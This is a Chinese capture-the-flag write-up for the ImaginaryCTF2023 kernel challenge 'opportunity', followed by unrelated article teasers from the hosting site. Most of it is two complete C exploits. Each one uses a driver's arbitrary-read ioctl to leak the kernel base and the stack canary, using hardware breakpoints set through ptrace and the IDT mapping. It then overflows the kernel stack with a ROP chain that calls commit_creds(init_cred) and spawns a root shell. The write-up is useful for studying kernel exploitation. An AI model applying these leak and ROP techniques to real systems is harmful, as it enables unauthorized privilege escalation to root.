【无数次任意地址读+栈溢出】ImaginaryCTF2023 -- opportunity

前言

本题不难,但感觉笔者的做法挺有意思(嘿嘿,自夸啦),利用到了最近学到的 ret2hbp。

漏洞分析

保护:smap 等都开了,标配啦 >_<

漏洞是直给的:这里存在一个 256 字节的任意地址读,并且是无数次的

然后给了一个栈溢出:

这里IDA识别的偏移有问题,最后调试看一下或者看汇编也可以看出来偏移

漏洞利用

泄漏 koffset:

         这里直接利用任意读读取 IDT table(即之前 SCTF 中的 cpu_entry_area mapping) 从而泄漏 koffset

泄漏 kcanary:

        想要进行栈溢出提权,首先的泄漏 kcanary,因为可以看出来题目是开了 kcanary 的。这里有两种方式:

                 1)任意读遍历 init_task 的 tasks 链表找到当前进程从而泄漏 kcanary

                 2)利用硬件断点中断栈残余的内核栈地址直接读取内核栈中的 kcanary

 栈溢出布置 ROP 提权:

        这里就比较常规了,主要就是注意下 kcanary 的偏移啥的还是调试一下比较稳

exp 如下:笔者泄漏 kcanary 采用的第二种方式

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>

int fd;
size_t koffset;
size_t pop_rdi = 0xffffffff8101d675; // pop rdi ; ret
size_t commit_creds = 0xffffffff810ff8a0;
size_t init_cred = 0xffffffff8308b2e0;
size_t swapgs_kpti = 0xffffffff820010f0;

struct request {
        char* ptr;
        char buf[1];
};

void arb_read(struct request* req) { ioctl(fd, 0x1337, req); }
void stack_overflow(char* buf, size_t len) { write(fd, buf, len); }

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

#define DR_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))

int rop_pipe[2];
char hbp_buf[0x1000];
char rop_buf[0x1000];

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr))
                err_exit("FAILED to set dr0");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr7))
                err_exit("FAILED to set dr7");
}

int main(int argc, char** argv, char** env)
{
        save_status();
        fd = open("/dev/window", O_RDWR);
        if (fd < 0) err_exit("open dev file");

        pipe(rop_pipe);
        pid_t pid = fork();
        if (!pid)
        {
                if (ptrace(PTRACE_TRACEME, 0, NULL, NULL)) err_exit("FAILED to trace_me");
                raise(SIGSTOP);
                uname(hbp_buf);
                read(rop_pipe[0], rop_buf, 0x500);
                stack_overflow(rop_buf, 0x50+0x70);
                puts("CHILD OVER");

                exit(0);
        } else if (pid < 0) {
                err_exit("FAILED to fork a child process");
        }

        int status;
        waitpid(pid, &status, 0);
        set_hbp(pid, hbp_buf);

        if (ptrace(PTRACE_CONT, pid, NULL, NULL)) err_exit("FAILED to ptrace_cont");

        char buf[0x1000];
        struct request* req = (struct request*)buf;

        memset(buf, 0, sizeof(buf));
        req->ptr = 0xfffffe0000000000+4;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x100);
        koffset = *(size_t*)req->buf - 0xffffffff82008e00;
        hexx("koffset", koffset);

        memset(buf, 0, sizeof(buf));
        req->ptr = 0xfffffe0000010fb0 + 8*8;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x20);
        size_t kstack = *(size_t*)req->buf;
        hexx("kstack", kstack);

        memset(buf, 0, sizeof(buf));
        req->ptr = kstack;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x100);
        size_t kcanary = -1;
        for (int i = 0; i < 0x100 / 8; i++)
        {
                size_t val = *(size_t*)(&req->buf[i*8]);
                if ((val&0xffff000000000000) != 0xffff000000000000 && (val&0xff) == 0 && (val&0xff00) != 0 && val > 0x1000000000000000)
                {
                        kcanary = val;
                        break;
                }
        }
        if (kcanary == -1) err_exit("Leak kcanary");
        hexx("kcanary", kcanary);

        pop_rdi += koffset;
        init_cred += koffset;
        commit_creds += koffset;
        swapgs_kpti += koffset + 0x36;
        hexx("pop_rdi", pop_rdi);
        hexx("init_cred", init_cred);
        hexx("commit_creds", commit_creds);
        hexx("swapgs_kpti", swapgs_kpti);

        size_t rop[] = {
                kcanary,0,
                pop_rdi,
                init_cred,
                commit_creds,
                swapgs_kpti,
                0,0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_sp,
                user_ss
        };
        memset(buf, 0, sizeof(buf));
        memcpy(buf+0x40, rop, sizeof(rop));
        write(rop_pipe[1], buf, 0x500);

        while(1) {}
        return 0;
}

效果如下:

=========================================================================

思考了一下,上面用了三次任意地址读,但是其实两次就足够泄漏 koffset 和 kcanary 了, 因为中断栈上不止残留的栈地址,而且还残留了之前的 rip,如果是内核函数触发的硬件中断,那么 rip 就是一个内核地址,所以可以在泄漏 kstack 的时候同时泄漏 koffset。

exp 如下:只需要两次任意地址读

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>

int fd;
size_t koffset;
size_t pop_rdi = 0xffffffff8101d675; // pop rdi ; ret
size_t commit_creds = 0xffffffff810ff8a0;
size_t init_cred = 0xffffffff8308b2e0;
size_t swapgs_kpti = 0xffffffff820010f0;

struct request {
        char* ptr;
        char buf[1];
};

void arb_read(struct request* req) { ioctl(fd, 0x1337, req); }
void stack_overflow(char* buf, size_t len) { write(fd, buf, len); }

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

#define DR_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))

int rop_pipe[2];
char hbp_buf[0x1000];
char rop_buf[0x1000];

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr))
                err_exit("FAILED to set dr0");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr7))
                err_exit("FAILED to set dr7");
}

int main(int argc, char** argv, char** env)
{
        save_status();
        fd = open("/dev/window", O_RDWR);
        if (fd < 0) err_exit("open dev file");

        pipe(rop_pipe);
        pid_t pid = fork();
        if (!pid)
        {
                if (ptrace(PTRACE_TRACEME, 0, NULL, NULL)) err_exit("FAILED to trace_me");
                raise(SIGSTOP);
                uname(hbp_buf);
                read(rop_pipe[0], rop_buf, 0x500);
                stack_overflow(rop_buf, 0x50+0x70);
                puts("CHILD OVER");

                exit(0);
        } else if (pid < 0) {
                err_exit("FAILED to fork a child process");
        }

        int status;
        waitpid(pid, &status, 0);
        set_hbp(pid, hbp_buf);

        if (ptrace(PTRACE_CONT, pid, NULL, NULL)) err_exit("FAILED to ptrace_cont");

        char buf[0x1000];
        struct request* req = (struct request*)buf;

        memset(buf, 0, sizeof(buf));
        req->ptr = 0xfffffe0000010fb0 + 5*8;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x100);
        size_t koffset = *(size_t*)req->buf - 0xffffffff817895a8;
        size_t kstack = *(size_t*)(req->buf + 24);
        hexx("koffset", koffset);
        hexx("kstack", kstack);

        memset(buf, 0, sizeof(buf));
        req->ptr = kstack;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x100);
        size_t kcanary = -1;
        for (int i = 0; i < 0x100 / 8; i++)
        {
                size_t val = *(size_t*)(&req->buf[i*8]);
                if ((val&0xffff000000000000) != 0xffff000000000000 && (val&0xff) == 0 && (val&0xff00) != 0 && val > 0x1000000000000000)
                {
                        kcanary = val;
                        break;
                }
        }
        if (kcanary == -1) err_exit("Leak kcanary");
        hexx("kcanary", kcanary);

        pop_rdi += koffset;
        init_cred += koffset;
        commit_creds += koffset;
        swapgs_kpti += koffset + 0x36;
        hexx("pop_rdi", pop_rdi);
        hexx("init_cred", init_cred);
        hexx("commit_creds", commit_creds);
        hexx("swapgs_kpti", swapgs_kpti);

        size_t rop[] = {
                kcanary,0,
                pop_rdi,
                init_cred,
                commit_creds,
                swapgs_kpti,
                0,0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_sp,
                user_ss
        };
        memset(buf, 0, sizeof(buf));
        memcpy(buf+0x40, rop, sizeof(rop));
        write(rop_pipe[1], buf, 0x500);

        while(1) {}
        return 0;
}

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/247313.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

阅读代码的记录

1-utils_metrics.py用在train.py中做指标衡量&#xff0c;现在想在推理&#xff08;predict.py&#xff09;的时候衡量一下指标 2-调研眼睛部位的单独分割。 https://blog.csdn.net/qq_40234695/article/details/88633094 衡量图像语义分割准确率主要有三种方法&#xff1a; …

高级C#技术(二)

前言 本章为高级C#技术的第二节也是最后一节。前一节在下面这个链接 高级C#技术https://blog.csdn.net/qq_71897293/article/details/134930989?spm1001.2014.3001.5501 匿名类型 匿名类型如其名&#xff0c;匿名的没有指定变量的具体类型。 举个例子&#xff1a; 1 创建…

YOLOv8改进《目标对象计数》多任务实验:深度集成版来了!支持自定义数据集训练自定义模型

💡该教程为改进YOLO专栏,属于《芒果书》📚系列,包含大量的原创改进方式🚀 💡🚀🚀🚀内含改进源代码 按步骤操作运行改进后的代码即可💡更方便的统计更多实验数据,方便写作 YOLOv8改进《目标对象计数》多任务实验:深度集成版来了!支持自定义数据集训练自定…

匿名内部类与Lambda表达式

深入了解Java的匿名内部类 Java作为一种面向对象的编程语言&#xff0c;提供了许多灵活的特性&#xff0c;其中之一就是匿名内部类。匿名内部类是一种没有名字的局部内部类&#xff0c;通常用于创建只需在一个地方使用的类的实例。 什么是匿名内部类&#xff1f; 匿名内部类是…

学习Java第70天,过滤器Filter简介

过滤器概述 Filter,即过滤器,是JAVAEE技术规范之一,作用目标资源的请求进行过滤的一套技术规范,是Java Web项目中最为实用的技术之一 Filter接口定义了过滤器的开发规范,所有的过滤器都要实现该接口 Filter的工作位置是项目中所有目标资源之前,容器在创建HttpServletRequest和…

Unity2023.3(Unity6)版本开始将可以发布WebGPU

翻译一段官网上的话&#xff1a; 利用Unity 2023.3(正式发布时应该称为Unity6)中最新的WebGPU图形API集成&#xff0c;尝试最大限度的提升您的网络游戏的真实感。 通过与谷歌的战略合作&#xff0c;Unity实时3D平台的强大的图形功能现在为图形丰富的网络游戏进行微调&#xff0…

知识库SEO:提升网站内容质量与搜索引擎排名的策略

随着搜索引擎算法的不断更新和优化&#xff0c;单纯依靠关键词堆砌和外部链接的时代已经过去。现在的SEO&#xff08;搜索引擎优化&#xff09;已经转向了以提供高质量、有价值内容为核心的阶段。知识库SEO便是这个新阶段的重要策略之一。 | 一、知识库SEO的概念与意义 1.定义…

python 新手学习 - 简单实用的 Python 周期任务调度工具

如果你想周期性地执行某个 Python 脚本&#xff0c;最出名的选择应该是 Crontab 脚本&#xff0c;但是 Crontab 具有以下缺点&#xff1a; 1.不方便执行秒级任务。 2.当需要执行的定时任务有上百个的时候&#xff0c;Crontab 的管理就会特别不方便。 还有一个选择是 Celery&a…

text-align-last: justify 使用方法,对齐字段交互

<html> <style>.label {display: inline-block;width: 100px;text-align-last: justify;} </style><body><div class"l-content"><div><div class"label">身份证&#xff1a;</div><div class"la…

DDA 算法

CAD 算法是计算机辅助设计的算法&#xff0c;几何算法是解决几何问题的算法 CAD 算法是指在计算机辅助设计软件中使用的算法&#xff0c;用于实现各种设计和绘图功能&#xff0c;CAD 广泛应用于建筑、机械、电子等领域&#xff0c;可以大大提高设计效率和精度 绘图算法是 CAD…

RLC防孤岛负载测试:电力系统安全运行的重要保障

在电力系统中&#xff0c;孤岛效应是一个严重的问题&#xff0c;它可能导致电力系统的不稳定甚至崩溃。为了确保电力系统的安全运行&#xff0c;必须进行RLC防孤岛负载测试。RLC防孤岛负载测试是一种模拟电网故障后&#xff0c;对电力系统进行检测的方法&#xff0c;主要用于检…

性格内向,如何找到适合自己的职业

很多人都会觉得性格内向是一件坏事&#xff0c;这会让自己在竞争激烈的生活中得不到好处&#xff0c;但其实在心理学上看来&#xff0c;每一种性格都有自己的优缺点&#xff0c;如果片面地用好坏去评定&#xff0c;就无法发挥性格的优势&#xff0c;也很难利用它们为自己所用。…

LLM(六)| Gemini:谷歌Gemini Pro 开放API ,Gemini Pro 可免费使用

近期&#xff0c;Google Gemini Pro 开放API 了&#xff0c;且Gemini Pro 可免费使用&#xff01;Gemini Pro支持全球180个国家的38种语言&#xff0c;目前接受文本作为输入并生成文本作为输出。 Gemini API 地址&#xff1a;http://ai.google.dev Gemini Pro 的表现超越了其他…

Linux route命令详解

1、介绍 route命令用于显示和操作IP路由表&#xff0c;它允许用户查看当前系统的路由信息&#xff0c;添加新的路由、删除已有的路由等。 2、命令 2.1 命令选项 -n, --numeric&#xff1a;不解析主机名&#xff0c;直接显示IP地址。使用这个选项可以加快显示速度&#xff0…

Git忽略已经提交的文件

原理类似于 Android修改submodule的lib包名

“唯品会API接口:电商开发者的秘密武器”

一、引言 唯品会作为一家知名的电商平台&#xff0c;提供了丰富的API接口供开发者使用。通过使用唯品会的API接口&#xff0c;开发者可以轻松地与唯品会平台进行交互&#xff0c;实现自动化处理、数据抓取等功能。本文将详细介绍唯品会API接口的使用方法、技术细节以及注意事项…

C语言->动态内存管理

系列文章目录 文章目录 前言 ✅作者简介&#xff1a;大家好&#xff0c;我是橘橙黄又青&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;橘橙黄又青_C语言,函数,指针-CSDN博客 目的&#xff1a;学习malloc&#xff0c…

【思考】只有实对称矩阵才能正交对角化吗?【矩阵的合同】

1&#xff1a;命题改写&#xff08;A可以正交对角化&#xff09; 2&#xff1a;左乘Q右乘Q逆&#xff08;Q转置&#xff09; 3&#xff1a;取转置 4&#xff1a;得证 总结 可以看到&#xff0c;矩阵如果可以正交对角化&#xff0c;那么一定是实对称矩阵。 另外&#xff0c;这…

shopee选品软件:如何利用Shopee选品软件优化你的销售业绩

在当今的电商市场中&#xff0c;选择适销的产品是成功的关键之一。然而&#xff0c;对于卖家来说&#xff0c;如何找到有潜力的产品并优化销售策略是一个具有挑战性的任务。幸运的是&#xff0c;有许多Shopee选品软件可以帮助卖家在Shopee平台上进行产品分析和选择。本文将介绍…

WPF 基于TableControl的页面切换

文章目录 前言其它项目的UserControl切换TableControl添加按钮&#xff0c;隐去TableItem的Header 结论 前言 我想用WPF简单实现一个按钮视图切换的效果&#xff0c;但是我发现别人的实现效果非常的麻烦。 其它项目的UserControl切换 我网上找了个开源的项目&#xff0c;他是…